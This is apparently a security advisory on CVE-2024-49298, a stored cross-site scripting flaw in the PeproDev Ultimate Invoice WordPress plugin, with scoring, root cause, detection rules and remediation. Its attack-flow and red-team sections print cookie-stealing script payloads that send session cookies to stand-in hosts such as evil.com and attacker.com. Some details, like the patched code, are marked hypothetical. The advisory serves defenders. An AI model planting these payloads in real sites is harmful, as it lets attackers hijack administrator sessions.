CVE-2024-49298

Executive Summary

CVE-2024-49298 is a Stored Cross-Site Scripting (XSS) vulnerability in the PeproDev Ultimate Invoice WordPress plugin, affecting versions up to and including 2.0.6. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into invoice pages. When an administrator or other user views the malicious invoice, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. No public exploit code or patch is currently available, making this a high-priority unpatched risk for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is significant: the vendor (Pepro Dev. Group) has not released a patch, and the plugin may be abandoned. Site administrators should treat this as a compromised component in their WordPress supply chain and consider removing the plugin entirely.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Admin views invoice)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation via session hijacking elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability exists in the invoice generation functionality of the PeproDev Ultimate Invoice plugin. The plugin fails to sanitize or escape user-supplied input fields (e.g., invoice line items, customer notes, or custom fields) before rendering them in the HTML invoice page. An attacker with contributor-level access can create an invoice containing malicious JavaScript payloads. When an administrator views the invoice (e.g., from the admin dashboard or a preview link), the payload executes in the context of the admin's session.

Root Cause: The plugin uses echo or print statements to output user data without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post(). This allows raw HTML/JavaScript to be injected.

Attack Flow:

1. Attacker logs in as a Contributor.
2. Creates a new invoice with a malicious payload in a text field (e.g., <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>).
3. Sends the invoice to an administrator (via email or direct link).
4. Administrator views the invoice; the script executes.
5. Attacker captures the admin's session cookie or performs actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (pepro-ultimate-invoice <= 2.0.6):

// In a template file, e.g., invoice-template.php
echo '<td>' . $invoice_item['description'] . '</td>';

Patched Code (Hypothetical):

echo '<td>' . esc_html( $invoice_item['description'] ) . '</td>';

The vulnerable code directly outputs user input without escaping. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with PeproDev Ultimate Invoice <= 2.0.6 installed and activated.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in as a Contributor.
2. Navigate to WP Admin > Invoices > Add New.
3. In the "Description" field of an invoice line item, inject the following payload:

   <script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
   

4. Save the invoice and note its URL (e.g., /invoice/123/).
5. Send the invoice link to an administrator via email or internal messaging.
6. When the admin views the invoice, the script executes, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team

Detection & Response:

• Monitor for unusual invoice creation activity from low-privileged users.
• Inspect invoice content for <script> tags or event handlers (e.g., onload, onerror).
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST data.
• Restrict contributor-level access to invoice creation if not business-required.

Lab Setup for Testing:

1. Install a local WordPress instance (e.g., using Docker).
2. Install PeproDev Ultimate Invoice plugin version 2.0.6.
3. Create a test contributor account.
4. Use a browser developer tools to inspect network requests and cookie behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains containing cookie data (e.g., GET /steal?c=...).
  • Suspicious Referer headers pointing to invoice URLs (e.g., /invoice/123/).

• Host IOCs:

  • Invoice posts in the WordPress database containing <script> tags.
  • Unusual entries in wp_postmeta with malicious JavaScript.
  • Log entries showing invoice views from unexpected IPs.

• File IOCs:

  • Modified plugin files (though unlikely, as the vulnerability is in the core plugin).

Detection Engineering

YARA Rule

rule Detect_PeproDev_Ultimate_Invoice_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in PeproDev Ultimate Invoice plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-49298"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $invoice_meta = /pepro_ultimate_invoice/i
    condition:
        $invoice_meta and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in PeproDev Ultimate Invoice
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via PeproDev Ultimate Invoice plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "action=pepro_save_invoice"
        http.body|contains|re: "<script[^>]*>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in invoice fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-49298 - Stored XSS in PeproDev Ultimate Invoice"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pepro_save_invoice"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to business operations.
2. Restrict contributor-level access to invoice creation until a patch is available.
3. Implement a Web Application Firewall (WAF) rule to block POST requests containing <script> tags to the plugin's AJAX endpoints.

Long-Term Fix:

• The vendor must release a patched version that properly escapes all user inputs using esc_html(), esc_attr(), or wp_kses_post().
• If the plugin is abandoned, consider migrating to an alternative invoicing solution.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.

Valters IT
DevSecOps & Cyber Threat Intelligence